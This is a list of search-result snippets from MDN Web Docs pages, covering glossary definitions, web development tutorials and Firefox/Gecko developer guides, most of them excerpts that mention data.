defining new variables first, let's define the needed variables — add the following below your previous variable definitions: var bricks; var newbrick; var brickinfo; the bricks variable will be used to create a group, newbrick will be a new object added to the group on every iteration of the loop, and brickinfo will store all the data we need.
Visual-js game engine - Game development
in no event shall the author of this software be held liable for data loss, damages, loss of profits or any other kind of loss while using or misusing this software.
Gecko FAQ - Gecko Redirect 1
by the end of calendar year 2000, gecko is expected to support the following recommended open internet standards fully except for the areas noted below and open bugs documented in bugzilla: html 4.0 - full support except for: elements: bdo, basefont attributes: shape attribute on the a element, abbr, axis, headers, scope-row, scope-col, scope-rowgroup, scope-colgroup, charoff, datasrc, datafld, dataformat, datapagesize, summary, event, dir, align on table columns, label attribute of option, alternate text of area elements, longdesc various metadata attributes: cite, datetime, lang, hreflang bidirectional text layout, which is only used in hebrew and arabic (ibm has begun work to add bidi support in a future release) style sheets css 1 - full support, excep...
502 - MDN Web Docs Glossary: Definitions of Web-related terms
furnishes no response to the gateway/proxy), but simply does not understand the same data-exchange protocol as the gateway/proxy.
API - MDN Web Docs Glossary: Definitions of Web-related terms
the twitter apis can be used to retrieve data from a user's twitter accounts, for example, to display their latest tweets on a web page.
ARIA - MDN Web Docs Glossary: Definitions of Web-related terms
aria (accessible rich internet applications) is a w3c specification for adding semantics and other metadata to html to cater to users of assistive technology.
Abstraction - MDN Web Docs Glossary: Definitions of Web-related terms
advantages of data abstraction helps the user to avoid writing low level code.
Algorithm - MDN Web Docs Glossary: Definitions of Web-related terms
a sorting algorithm is often used in computer programming to explain a machine how to sort data.
Arpanet - MDN Web Docs Glossary: Definitions of Web-related terms
the arpanet (advanced research projects agency network) was an early computer network, constructed in 1969 as a robust medium to transmit sensitive military data and to connect leading research groups throughout the united states.
Attribute - MDN Web Docs Glossary: Definitions of Web-related terms
an attribute extends an element, changing its behavior or providing metadata.
Bandwidth - MDN Web Docs Glossary: Definitions of Web-related terms
bandwidth is the measure of how much information can pass through a data connection in a given amount of time.
Block cipher mode of operation - MDN Web Docs Glossary: Definitions of Web-related terms
most symmetric-key algorithms currently in use are block ciphers: this means that they encrypt data a block at a time.
CDN - MDN Web Docs Glossary: Definitions of Web-related terms
these servers store duplicate copies of data so that servers can fulfill data requests based on which servers are closest to the respective end-users.
CORS-safelisted request header - MDN Web Docs Glossary: Definitions of Web-related terms
for content-type: needs to have a mime type of its parsed value (ignoring parameters) of either application/x-www-form-urlencoded, multipart/form-data, or text/plain.
CSP - MDN Web Docs Glossary: Definitions of Web-related terms
a csp (content security policy) is used to detect and mitigate certain types of website related attacks like xss and data injections.
CalDAV - MDN Web Docs Glossary: Definitions of Web-related terms
caldav (calendaring extensions to webdav) is a protocol standardized by the ietf and used to remotely access calendar data from a server.
Certified - MDN Web Docs Glossary: Definitions of Web-related terms
certified means that an application, content or data transmission has successfully undergone evaluation by professionals with expertise in the relevant field, thereby indicating completeness, security and trustworthiness.
Cipher - MDN Web Docs Glossary: Definitions of Web-related terms
ciphers operate two ways, either as block ciphers on successive blocks, or buffers, of data, or as stream ciphers on a continuous data flow (often of sound or video).
Codec - MDN Web Docs Glossary: Definitions of Web-related terms
a codec (a blend word derived from "coder-decoder") is a program, algorithm, or device that encodes or decodes a data stream.
Computer Programming - MDN Web Docs Glossary: Definitions of Web-related terms
for example, a program that helps scientists with complex calculations, a database that stores huge amounts of data, a web site that allows people to download music, or animation software that allows people to create animated movies.
Continuous Media - MDN Web Docs Glossary: Definitions of Web-related terms
continuous media is data where there is a timing relationship between source and destination.
Crawler - MDN Web Docs Glossary: Definitions of Web-related terms
a web crawler is a program, often called a bot or robot, which systematically browses the web to collect data from webpages.
Cryptography - MDN Web Docs Glossary: Definitions of Web-related terms
more than just data confidentiality, cryptography also tackles identification, authentication, non-repudiation, and data integrity.
Deserialization - MDN Web Docs Glossary: Definitions of Web-related terms
that has been transferred over a network, or stored in a data store) is translated into a readable object or other data structure.
Digest - MDN Web Docs Glossary: Definitions of Web-related terms
a digest can be used to perform several tasks: in non-cryptographic applications (e.g., the index of hash tables, or a fingerprint used to detect duplicate data or to uniquely identify files) verify message integrity (a tampered message will have a different hash) store passwords so that they can't be retrieved, but can still be checked (to do this securely, you also need to salt the password.) generate pseudo-random numbers generate keys it is critical to choose the proper hash function for your use case to avoid collisions and predictability.
Digital certificate - MDN Web Docs Glossary: Definitions of Web-related terms
a digital certificate is a data file that binds a publicly known cryptographic key to an organization.
Dynamic typing - MDN Web Docs Glossary: Definitions of Web-related terms
learn more learn about it javascript data types and data structures general knowledge type system on wikipedia ...
Element - MDN Web Docs Glossary: Definitions of Web-related terms
in xml and html, an element may contain a data item or a chunk of text or an image, or perhaps nothing.
Endianness - MDN Web Docs Glossary: Definitions of Web-related terms
big-endian is also often called "network byte order", because internet standards usually require data to be stored big-endian, starting at the standard unix socket level and going all the way up to standardized web binary data structures.
HTTP/2 - MDN Web Docs Glossary: Definitions of Web-related terms
instead, http/2 modifies how the data is formatted (framed) and transported between the client and server, both of which manage the entire process, and hides application complexity within the new framing layer.
HTTP header - MDN Web Docs Glossary: Definitions of Web-related terms
traditionally, headers are classed in categories, though this classification is no more part of any specification: general header: headers applying to both requests and responses but with no relation to the data eventually transmitted in the body.
Head - MDN Web Docs Glossary: Definitions of Web-related terms
the head is the part of an html document that contains metadata about that document, such as author, description, and links to css or javascript files that should be applied to the html.
Hoisting - MDN Web Docs Glossary: Definitions of Web-related terms
hoisting works well with other data types and variables.
Hyperlink - MDN Web Docs Glossary: Definitions of Web-related terms
hyperlinks connect webpages or data items to one another.
ITU - MDN Web Docs Glossary: Definitions of Web-related terms
in the internet age, the itu's role of establishing standards for video and audio data formats used for streaming, teleconferencing, and other purposes.
Identifier - MDN Web Docs Glossary: Definitions of Web-related terms
an identifier differs from a string in that a string is data, while an identifier is part of the code.
Inheritance - MDN Web Docs Glossary: Definitions of Web-related terms
data abstraction can be carried up several levels, that is, classes can have superclasses and subclasses.
JavaScript - MDN Web Docs Glossary: Definitions of Web-related terms
javascript is primarily used in the browser, enabling developers to manipulate webpage content through the dom, manipulate data with ajax and indexeddb, draw graphics with canvas, interact with the device running the browser through various apis, and more.
Latency - MDN Web Docs Glossary: Definitions of Web-related terms
latency can be a factor in any kind of data flow, but is most commonly discussed in terms of network latency (the time it takes for a packet of data to travel from source to destination) and media codec latency (the time it takes for the source data to be encoded or decoded and reach the consumer of the resulting data).
NAT - MDN Web Docs Glossary: Definitions of Web-related terms
nat assigns unique addresses to each computer on the local network and adjusts incoming/outgoing network traffic to send data to the right place.
NaN - MDN Web Docs Glossary: Definitions of Web-related terms
nan (not a number) is a numeric data type that means an undefined value or value that cannot be represented, especially results of floating-point calculations.
Network throttling - MDN Web Docs Glossary: Definitions of Web-related terms
the network speeds of a mobile user accessing that web application, possibly while traveling or in a remote area with poor data plan covereage, will likely be very slow, if they are able to get online at all.
OOP - MDN Web Docs Glossary: Definitions of Web-related terms
oop (object-oriented programming) is an approach in programming in which data is encapsulated within objects and the object itself is operated on, rather than its component parts.
Operand - MDN Web Docs Glossary: Definitions of Web-related terms
an operand is the part of an instruction representing the data manipulated by the operator.
PHP - MDN Web Docs Glossary: Definitions of Web-related terms
examples basic syntax // start of php code <?php // php code goes here ?> // end of php code printing data on screen <?php echo "hello world!"; ?> php variables ​​​​​​​​​​​​​​<?php // variables $nome='danilo'; $sobrenome='santos'; $pais='brasil'; $email='danilocarsan@gmailcom'; ​​​​​​​ // printing the variables echo $nome; echo $sobrenome; echo $pais; echo $email; ?> ...
PNG - MDN Web Docs Glossary: Definitions of Web-related terms
png (portable network graphics) is a graphics file format that supports lossless data compression.
Parse - MDN Web Docs Glossary: Definitions of Web-related terms
when the browser encounters css styles, it parses the text into the css object model (or cssom), a data structure it then uses for styling layouts and painting.
Python - MDN Web Docs Glossary: Definitions of Web-related terms
it was created by guido van rossum as a successor to another language (called abc) between 1985 and 1990, and is currently used on a large array of domains like web development, desktop applications, data science, devops, and automation/productivity.
Quaternion - MDN Web Docs Glossary: Definitions of Web-related terms
a quaternion is the quotient of two 3d vectors and is used in 3d graphics and in accelerometer-based sensors to represent orientation or rotational data.
RGB - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge rgb color model on wikipedia learn about it css data type: <color> ...
Real User Monitoring (RUM) - MDN Web Docs Glossary: Definitions of Web-related terms
generally, a third party script injects a script on each page to measure and report page load data for every request made.
Reference - MDN Web Docs Glossary: Definitions of Web-related terms
in computing, a reference is a value that indirectly accesses data to retrieve a variable or a record in a computer's memory or other storage device.
Repo - MDN Web Docs Glossary: Definitions of Web-related terms
"repository") is a place that hosts an application's code source, together with various metadata.
Resource Timing - MDN Web Docs Glossary: Definitions of Web-related terms
diagnosing performance issues requires performance data at the granularity of the resource.
Response header - MDN Web Docs Glossary: Definitions of Web-related terms
016 16:06:00 gmt etag: "c561c68d0ba92bbeb8b0f612a9199f722e3a621a" keep-alive: timeout=5, max=997 last-modified: mon, 18 jul 2016 02:36:04 gmt server: apache set-cookie: mykey=myvalue; expires=mon, 17-jul-2017 16:06:00 gmt; max-age=31449600; path=/; secure transfer-encoding: chunked vary: cookie, accept-encoding x-backend-server: developer2.webapp.scl3.mozilla.com x-cache-info: not cacheable; meta data too large x-kuma-revision: 1085259 x-frame-options: deny ...
SCTP - MDN Web Docs Glossary: Definitions of Web-related terms
it's used for sending traditional telephone calls over the internet, but is also used for webrtc data.
SOAP - MDN Web Docs Glossary: Definitions of Web-related terms
soap (simple object access protocol) is a protocol for transmitting data in xml format.
SQL - MDN Web Docs Glossary: Definitions of Web-related terms
sql (structured query language) is a descriptive computer language designed for updating, retrieving, and calculating data in table-based databases.
Secure Sockets Layer (SSL) - MDN Web Docs Glossary: Definitions of Web-related terms
secure sockets layer, or ssl, was the old standard security technology for creating an encrypted network link between a server and client, ensuring all data passed is private and secure.
STUN - MDN Web Docs Glossary: Definitions of Web-related terms
stun (session traversal utilities for nat) is an auxiliary protocol for transmitting data around a nat (network address translator).
Serialization - MDN Web Docs Glossary: Definitions of Web-related terms
the process whereby an object or data structure is translated into a format suitable for transferral over a network, or storage (e.g.
String - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge string (computer science) on wikipedia javascript data types and data structures ...
TCP handshake - MDN Web Docs Glossary: Definitions of Web-related terms
the three message mechanism is designed so that two computers that want to pass information back and forth to each other can negotiate the parameters of the connection before transmitting data such as http browser requests.
TTL - MDN Web Docs Glossary: Definitions of Web-related terms
ttl can refer either to : the lifetime of a packet in a network can do before being released the expiry time of cached data networking in networking, the ttl, embedded in the packet, is a usually defined as a number of hops or as an expiration timestamp after which the packet is dropped.
TURN - MDN Web Docs Glossary: Definitions of Web-related terms
turn (traversal using relays around nat) is a protocol enabling a computer to receive and send data from behind a network address translator (nat) or firewall.
Value - MDN Web Docs Glossary: Definitions of Web-related terms
in the context of data or an object wrapper around that data, the value is the primitive value that the object wrapper contains.
WebDAV - MDN Web Docs Glossary: Definitions of Web-related terms
webdav allows clients to add, delete, and retrieve webpage metadata (e.g.
WebIDL - MDN Web Docs Glossary: Definitions of Web-related terms
webidl is the interface description language used to describe the data types, interfaces, methods, properties, and other components which make up a web application programming interface (api).
WebRTC - MDN Web Docs Glossary: Definitions of Web-related terms
rtcdatachannel provides a method to set up a peer-to-peer data pathway between browsers.
WebVTT - MDN Web Docs Glossary: Definitions of Web-related terms
webvtt files provide metadata that is time-aligned with audio or video content like captions or subtitles for video content, text video descriptions, chapters for content navigation, and more.
Web server - MDN Web Docs Glossary: Definitions of Web-related terms
a server, on the other hand, is a piece of hardware that lives in a room full of computers, commonly known as a data center.
World Wide Web - MDN Web Docs Glossary: Definitions of Web-related terms
the system we know today as "the web" consists of several components: the http protocol governs data transfer between a server and a client.
XForms - MDN Web Docs Glossary: Definitions of Web-related terms
xforms is a convention for building web forms and processing form data in the xml format.
XQuery - MDN Web Docs Glossary: Definitions of Web-related terms
xquery is a computer language for updating, retrieving, and calculating data in xml databases.
XSLT - MDN Web Docs Glossary: Definitions of Web-related terms
xslt has its own processor that accepts xml input, or any format convertible to an xquery and xpath data model.
Brotli - MDN Web Docs Glossary: Definitions of Web-related terms
it compresses data using a combination of a modern variant of the lz77 algorithm, huffman coding, and second-order context modeling, providing a compression ratio comparable to the best currently available general-purpose compression methods.
Cacheable - MDN Web Docs Glossary: Definitions of Web-related terms
moreover, it invalidates cached data for request to the same uri done via head or get: put /pagex.html http/1.1 (…) 200 ok (…) a specific cache-control header in the response can prevent caching: get /pagex.html http/1.1 (…) 200 ok cache-control: no-cache (…) ...
Challenge-response authentication - MDN Web Docs Glossary: Definitions of Web-related terms
in security protocols, a challenge is some data sent to the client by the server in order to generate a different response each time.
Hash - MDN Web Docs Glossary: Definitions of Web-related terms
hashes are very useful for cryptography — they insure the integrity of transmitted data.
HTTPS - MDN Web Docs Glossary: Definitions of Web-related terms
this secure connection allows clients to safely exchange sensitive data with a server, such as when performing banking activities or online shopping.
JPEG - MDN Web Docs Glossary: Definitions of Web-related terms
a discrete cosine transform expresses a finite sequence of data points in terms of a sum of cosine functions oscillating at different frequencies.
Loop - MDN Web Docs Glossary: Definitions of Web-related terms
an example would be the process of getting an item of data and changing it, and then making sure some condition is checked such as, if a counter has reached a prescribed number.
minification - MDN Web Docs Glossary: Definitions of Web-related terms
minification is the process of removing unnecessary or redundant data without affecting how a resource is processed by the browser.
Property - MDN Web Docs Glossary: Definitions of Web-related terms
property (javascript) a javascript property is a characteristic of an object, often describing attributes associated with a data structure.
Routers - MDN Web Docs Glossary: Definitions of Web-related terms
there are two definitions for routers on the web: for the network layer, the router is a networking device that decides data packets directions.
undefined - MDN Web Docs Glossary: Definitions of Web-related terms
example var x; //create a variable but assign it no value console.log("x's value is", x) //logs "x's value is undefined" learn more general knowledge undefined value on wikipedia technical reference javascript data types and data structures ...
Assessment: Accessibility troubleshooting - Learn web development
the table the data table is not currently very accessible — it is hard for screenreader users to associate data rows and columns together, and the table also has no kind of summary to make it clear what it shows.
Test your skills: HTML accessibility - Learn web development
give the group a description/title that summarises all of the information as personal data.
What is accessibility? - Learn web development
if you are planning to include a whizzy 3d pie chart graphic made using webgl, you might want to include a data table as an accessible alternative representation of the data.
Backgrounds and borders - Learn web development
you can read more about the different types of gradients and things you can do with them on the mdn page for the <gradient> data type.
Cascade and inheritance - Learn web development
note: on mdn css property reference pages you can find a technical information box, usually at the bottom of the specifications section, which lists a number of data points about that property, including whether it is inherited or not.
Organizing your CSS - Learn web development
you will typically have rules set up for: body p h1, h2, h3, h4, h5 ul and ol the table properties links in this section of the stylesheet we are providing default styling for the type on the site, setting up a default style for data tables and lists and so on.
Introduction to CSS layout - Learn web development
table layout html tables are fine for displaying tabular data, but many years ago — before even basic css was supported reliably across browsers — web developers used to also use tables for entire web page layouts — putting their headers, footers, different columns, etc.
Responsive design - Learn web development
you can provide multiple sizes along with "hints" (meta data that describes the screen size and resolution the image is best suited for), and the browser will choose the most appropriate image for each device, ensuring that a user will download an image size appropriate for the device they are using.
Supporting older browsers - Learn web development
you can even link your google analytics account to get analysis based on your user data.
What is CSS? - Learn web development
what follows is the compat data chart for the css font-family property.
How do you make sure your website works properly? - Learn web development
ping is a useful shell tool that tests the domain name you provide and tells you if the server's responding or not: $ ping mozilla.org ping mozilla.org (63.245.215.20): 56 data bytes 64 bytes from 63.245.215.20: icmp_seq=0 ttl=44 time=148.741 ms 64 bytes from 63.245.215.20: icmp_seq=1 ttl=44 time=148.541 ms 64 bytes from 63.245.215.20: icmp_seq=2 ttl=44 time=148.734 ms 64 bytes from 63.245.215.20: icmp_seq=3 ttl=44 time=147.857 ms ^c --- mozilla.org ping statistics --- 4 packets transmitted, 4 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 147.857/14...
How can we design for all types of users? - Learn web development
if the image cannot be described succinctly, you will have to either provide the same content in another form in the same page (e.g., complement a pie chart with a table providing the same data), or resort to a longdesc attribute.
What are hyperlinks? - Learn web development
since then, the web has evolved to provide access to images, videos, and binary data, but these improvements have hardly changed the three pillars.
How do you set up a local testing server? - Learn web development
some browsers (including chrome) will not run async requests (see fetching data from the server) if you just run the example from a local file.
HTML forms in legacy browsers - Learn web development
this was only an issue if that value needed to be sent, such as when data processing depends on which button a user clicked.
CSS property compatibility table for form controls - Learn web development
datalist see the <datalist> and <input> elements and the list attribute.
Test your skills: Advanced styling - Learn web development
second, we want you to provide a useful visual indicator of whether the data entered inside each input is valid or not.
Test your skills: Form validation - Learn web development
change the type of the "email address" and "phone number" fields to make the browser apply some more specific validation suitable for the data being asked for.
Front-end web developer - Learn web development
modules javascript first steps (30–40 hour read/exercises) javascript building blocks (25–35 hour read/exercises) introducing javascript objects (25–35 hour read/exercises) client-side web apis (30–40 hour read/exercises) asynchronous javascript (25–35 hour read/exercises) web forms — working with user data time to complete: 40–50 hours prerequisites forms require html, css, and javascript knowledge.
Dealing with files - Learn web development
buttons that load data when clicked).
HTML basics - Learn web development
for example, content could be structured within a set of paragraphs, a list of bulleted points, or using images and data tables.
Creating hyperlinks - Learn web development
metadata in html html text fundamentals creating hyperlinks advanced text formatting document and website structure debugging html marking up a letter structuring a page of content ...
Debugging HTML - Learn web development
metadata in html html text fundamentals creating hyperlinks advanced text formatting document and website structure debugging html marking up a letter structuring a page of content ...
HTML text fundamentals - Learn web development
metadata in html html text fundamentals creating hyperlinks advanced text formatting document and website structure debugging html marking up a letter structuring a page of content ...
Structuring a page of content - Learn web development
metadata in html html text fundamentals creating hyperlinks advanced text formatting document and website structure debugging html marking up a letter structuring a page of content ...
Images in HTML - Learn web development
users have turned off images to reduce data transfer volume and distractions.
Responsive images - Learn web development
ideally, you would have multiple resolutions available and serve the appropriate size depending upon the device accessing the data on the website.
Cooperative asynchronous JavaScript: Timeouts and intervals - Learn web development
your sprites are moved, score is updated, data is refreshed, or whatever).
Build your own function - Learn web development
in a real application, such a message box would probably be called in response to new data being available, or an error having occurred, or the user trying to delete their profile ("are you sure about this?"), or the user adding a new contact and the operation completing successfully, etc.
Test your skills: Events - Learn web development
</div>), which when invoked by clicking any of the buttons will set the background of the button-bar to the color contained in the button's data-color attribute.
Drawing graphics - Learn web development
as you'll see below, canvas provides many useful tools for creating 2d animations, games, data visualizations, and other types of app, especially when combined with some of the other apis the web platform provides.
Test your skills: Math - Learn web development
check the data type of finalresult using typeof; you'll probably see that it is actually of string type!
JavaScript First Steps - Learn web development
arrays in the final article of this module, we'll look at arrays — a neat way of storing a list of data items under a single variable name.
Adding features to our bouncing balls demo - Learn web development
previous overview: objects in this module object basics object-oriented javascript for beginners object prototypes inheritance in javascript working with json data object building practice adding features to our bouncing balls demo ...
Object building practice - Learn web development
updating the ball's data we can draw the ball in position, but to actually move the ball, we need an update function of some kind.
Object prototypes - Learn web development
previous overview: objects next in this module object basics object-oriented javascript for beginners object prototypes inheritance in javascript working with json data object building practice adding features to our bouncing balls demo ...
Aprender y obtener ayuda - Learn web development
note: stack overflow is a really useful website — it is basically a huge database of curated questions and answers on various technologies and related techniques.
Measuring performance - Learn web development
objective: to provide information about web performance metrics that you can collect through various web performance apis and tools that you can use to visualize that data.
Perceived performance - Learn web development
loading essential data in initial requests and progressively loading features and data only as needed helps mitigate low bandwidth and lower spec hardware.
Web performance resources - Learn web development
to further optimize inline your svg data within html markup to avoid http requests.
Learning area release notes - Learn web development
the following modules: css building blocks javascript first steps javascript building blocks introducing javascript objects january 2020 the html forms module has been significantly updated: it has been retitled web forms, and moved out of the html topic area to recognise that it covers more than just html form elements — it also covers styling, validation, the basics of how to send data and process it on the server, and more besides.
Ember app structure and componentization - Learn web development
later on we'll add the required dynamic functionality such as data bindings, responding to user interaction, etc.
React interactivity: Editing, filtering, conditional rendering - Learn web development
at the top of app.js, beneath our imports but above our app() function, let's add an object called filter_map: const filter_map = { all: () => true, active: task => !task.completed, completed: task => task.completed }; the values of filter_map are functions that we will use to filter the tasks data array: the all filter shows all tasks, so we return true for all tasks.
Starting our Svelte Todo list app - Learn web development
objective: to learn how to create a svelte component, render it inside another component, pass data into it using props, and save its state.
TypeScript support in Svelte - Learn web development
now we want the consumers of localstore to be able to specify the type of data to persist, but instead of working with any type they should comply with the jsonvalue type.
Deployment and next steps - Learn web development
then we saw how to use stores to work with a central data repository, and we created our own custom store to persist our application's data to web storage.
Getting started with Svelte - Learn web development
highly interactive pages or complex visualizations: if you are building data-visualizations that need to display a large number of dom elements, the performance gains that come from a framework with no runtime overhead will ensure that user interactions are snappy and responsive.
Vue resources - Learn web development
vue components are written as a combination of javascript objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure.
Introduction to cross browser testing - Learn web development
the client might already have data about this from previous research they've done, e.g.
Command line crash course - Learn web development
out of the box, here are just a few of the things the command line can do, along with names of relevant tools in each case: navigate your computer’s file system along with base level tasks such as create, copy, rename and delete: move around your directory structure: cd create directories: mkdir create files (and modify their metadata): touch copy files: cp move files: mv delete files or directories: rm download files found at specific urls: curl search for fragments of text inside larger bodies of text: grep view a file's contents page by page: less, cat manipulate and transform streams of text (for example changing all the instances of <div>s in an html file to <article>): awk, tr, sed note: there are a ...
Introducing a complete toolchain - Learn web development
introducing our case study the toolchain that we are creating in this article will be used to build and deploy a mini site that lists data (taken from one of nasa's open apis) concerning potentially hazardous space objects that threaten our existence on earth!
Client-side tooling overview - Learn web development
also well-worth looking at is webhint, a configurable, open-source linter for the web that surfaces best practices including approaches to accessibility, performance, cross-browser compatibility via mdn's browser compatibility data, security, testing for pwas, and more.
Package management basics - Learn web development
audit for vulnerabilities npm audit yarn audit this will check all of the dependency tree for your project and run the specific versions you're using against a vulnerability database and notify you if there are potential vulnerable packages in your project.
Learn web development
web forms — working with user data web forms are a potent tool for interacting with users — most commonly, they are used for collecting data from users, or allowing them to control a user interface.
Accessibility information for UI designers and developers
this is specifically important in these cases: the user input is about legal commitments or financial transactions it updates or removes the user's data in a system when recording tests responses in those cases, ensure users can change submissions, automatically check for errors.
Links and Resources
just like webxact, it can also perform a "complete webpage quality check" for accessibility, privacy, searchability, metadata and even alt text attribute quality.
Mozilla’s UAAG evaluation report
this is also under preferences, security, ssl, "sending form data from unencrypted page to unencrypted page" 5.6 confirm fee links.
Android-specific test suites
use these to test java data structures and logic, and to ensure that basic android integration works.
Bugzilla
bugzilla.mozilla.org (often abbreviated b.m.o) is mozilla.org's bug-tracking system, a database for recording bugs and enhancement requests for firefox, thunderbird, seamonkey, camino, and other mozilla.org projects.
Chrome registration
this can be useful for separating component and chrome registration instructions, or separate platform-specific registration data.
Command line options
-safe-mode launches the application with all extensions disabled, for that launch only (extensions are not loaded, but are not permanently disabled in the extension manager data source).
Creating a Login Manager storage module
this can be useful if you want to integrate a gecko application's password management with an existing password management system, or use your own password storage format or database.
Creating a spell check dictionary add-on
df xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>locale-code@dictionaries.addons.mozilla.org</em:id> <em:version>version number</em:version> <em:type>64</em:type> <em:unpack>true</em:unpack> <em:name>name</em:name> <!-- other install.rdf metadata such as em:localized, em:description, em:creator, em:developer, em:translator, em:contributor or em:homepageurl --> <!-- firefox --> <em:targetapplication> <description> <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id> <em:minversion>18.0a1</em:minversion> <em:maxversion>46.0</em:maxversion> </description> </em:targetappli...
Capturing a minidump
when the program is about to crash, windbg will spit out more data, and the prompt at the bottom will change from saying "*busy*" to having a number in it.
Debugging Frame Reflow
advanced reflow debugging the previously described technique dumps the data for every frame.
Debugging Table Reflow
the first line of the data dump shows that no width has yet been assigned to the columns mcolwidths=-1 -1 -1 -1, -1 stands for: #define width_not_set -1 this is followed by a reference to the column frame pointers: col frame cache -> 0=00b93138 1=00b931f0 2=024dd728 3=024dd780 this is followed by the information which width has been set for each column.
Debugging on Mac OS X
having a profile for debugging purposes it is recommended to create a separate profile to debug with, whatever your task, so that you don't lose precious data like bookmarks, saved passwords, etc.
Old Thunderbird build
searched the bug database for issues relating to your problem (e.g., platform-specific issues).
Simple Instantbird build
have you searched the bug database for issues relating to your problem (e.g., platform-specific issues)?
Simple Thunderbird build
searched the bug database for issues relating to your problem (e.g., platform-specific issues).
Gecko Logging
only most recent n megabytes of log data is saved.
Obsolete Build Caveats and Tips
you need to install at least the "windows core sdk", "web workshop (ie) sdk", and the "data access services (mdac) sdk".
Reviewer Checklist
compatibility version files, databases, messages tag messages with ids to disambiguate callers.
mach
mach will colorize terminal output (on terminals that support it - typically most terminals except on windows) mach will scan build output for compiler warnings and will automatically record them to a database which can be queried with mach warnings-list and mach warnings-summary.
Developer guide
tools bugzilla the bugzilla database used to track issues for mozilla projects.
Index
170 storage access policy: block cookies from trackers privacy, storage access policy, tracking protection firefox includes a new storage access policy that blocks cookies and other site data from third-party tracking resources.
Linux compatibility matrix
the table is generated with the script and data in https://github.com/glandium/firefox-linux-compat-matrix ...
Multiple Firefox profiles
confirm that you wish to delete the profile: don't delete files removes the profile from the profile manager yet retains the profile data files on your computer in the storage folder so that your information is not lost.
Limitations of frame scripts
anything that just manipulates data structures will just work.
Limitations of frame scripts
anything that just manipulates data structures will just work.
Blocked: Custom cookie permission
the permission can be changed or removed by: going to preferences > content blocking > cookies and site data clicking on the manage permissions button and updating the listed exceptions ...
Security best practices for Firefox front-end engineers
we use our built-in sanitizer with the following flags: sanitizerallowstyle sanitizerallowcomments sanitizerdropforms sanitizerlogremovals the sanitizer removes all scripts (script tags, event handlers) and form elements (form, input, keygen, option, optgroup, select, button, datalist).
mozbrowsercontextmenu
in the case of a video context menu, this returns true if the video has metadata and is bigger than 0 x 0, or false if not.
mozbrowserusernameandpasswordrequired
the embedder is supposed to retrieve the necessary credentials, usually using a dialog or a database of username/passwords, and then call authenticate() or cancel() as appropriate.
HTMLIFrameElement.purgeHistory()
note: to delete cookies for a firefox os app, you could call clearbrowserdata() on the actual app itself.
Browser API
htmliframeelement.getstructureddata() retrieves any structured microdata (and hcard and hcalendar microformat data) contained in the html loaded in the browser <iframe> and returns it as json.
Embedding the editor
possible answer dialogs use the available editor apis to get and set data, so can do all their work through existing apis.
Gecko's "Almost Standards" Mode
gger "almost standards" mode are those which contain: the public identifier "-//w3c//dtd xhtml 1.0 transitional//en" the public identifier "-//w3c//dtd xhtml 1.0 frameset//en" the public identifier "-//w3c//dtd html 4.01 transitional//en", with a system identifier the public identifier "-//w3c//dtd html 4.01 frameset//en", with a system identifier the ibm system doctype "http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd" a complete doctype contains a public identifier and a system identifier.
How test harnesses work
python runner the python runner: sets up the testing environment sets up environment variables (mozrunner, currently) creates a profile (mozprofile via mozrunner) sets appropriate test preferences inserts a shim extension in the profile (for non-marionette tests) gathers the tests (manifestdestiny) potentially sets up an http server for test data (mozhttpd) invokes the binary (mozrunner) it is the job of the shim extension to shut down the browser logging (mozlog, in theory) (run tests, accrue results) cleanup: shutdown the browser check for crashes (mozcrash) reporting (moztest) marionette tests list of testing extensions pageloader (talos) mochitest: //github.com/realityripple/uxp/blob/master/testi...
How to get a stacktrace with WinDbg
you will also want to open a log file to save data you collect.
How to investigate Disconnect failures
check if firefox crashed: windows: [user]/appdata\roaming\mozilla\firefox\crash reports ubuntu: [user/home]/.mozilla/firefox/crash reports and there we can check by timestamp if firefox crashed when we had the disconnect.
How to Report a Hung Firefox
getservice(ci.nsiwindowmediator); let win = wm.getmostrecentwindow("navigator:browser"); let browser = win.gbrowser.selectedbrowser; if (browser.isremotebrowser) { browser.messagemanager.loadframescript('data:,let appinfo = components.classes["@mozilla.org/xre/app-info;1"];if (appinfo && appinfo.getservice(components.interfaces.nsixulruntime).processtype != components.interfaces.nsixulruntime.process_type_default) {components.utils.import("resource://gre/modules/ctypes.jsm");var zero = new ctypes.intptr_t(8);var badptr = ctypes.cast(zero, ctypes.pointertype(ctypes.int32_t));var crash = badptr.contents...
IPDL Type Serialization
it is never acceptable to serialize/deserialize raw pointer values; if you are tempted, you probably should create a subprotocol for that data, so that ipdl can check the values and lifetime.
Implementing Download Resuming
(it is possible to pass an empty string as the id; however, this means that you have no assurance that the file remained unchanged) now, you can open the channel as usual (using nsichannel.asyncopen() in the common case) and write to the file in the ondataavailable notifications.
JavaScript-DOM Prototypes in Mozilla
a few examples of class constructor names would be htmlimageelement, htmldocument, element, nodelist, and two examples of class prototype names would be node and characterdata.
JavaScript Tips
the properties are: align allowevents contextmenu datasources dir flex height id left maxheight maxwidth minheight minwidth observes orient pack persist ref statustext top tooltip tooltiptext width xul also maps the ordinal attribute but this defaults to "1" if it is not present.
Add-on Manager
the callbacks may be called immediately while the initial function is still executing or shortly after, depending on when the requested data becomes available.
CustomizableUI.jsm
d_of_my_widget_within_customizableui_and_dom[cui-areatype="menu-panel"],'; css += ' toolbarpaletteitem[place="palette"] > #id_of_my_widget_within_customizableui_and_dom {'; css += ' list-style-image: url("chrome://branding/content/icon32.png");'; //a 32px x 32px icon for when in toolbar css += ' }'; css += '}'; var cssenc = encodeuricomponent(css); var newuriparam = { aurl: 'data:text/css,' + cssenc, aorigincharset: null, abaseuri: null } var cssuri = services.io.newuri(newuriparam.aurl, newuriparam.aorigincharset, newuriparam.abaseuri); //store this in a global var so you can call it when removing the widget sss.loadandregistersheet(cssuri, sss.author_sheet); /**************/ // when you want to remove this widget run this code: // sss.unregistersheet(cssuri, ss...
DownloadSummary
views on the summarized data can be registered before this object is bound to an actual list.
FxAccountsOAuthClient.jsm
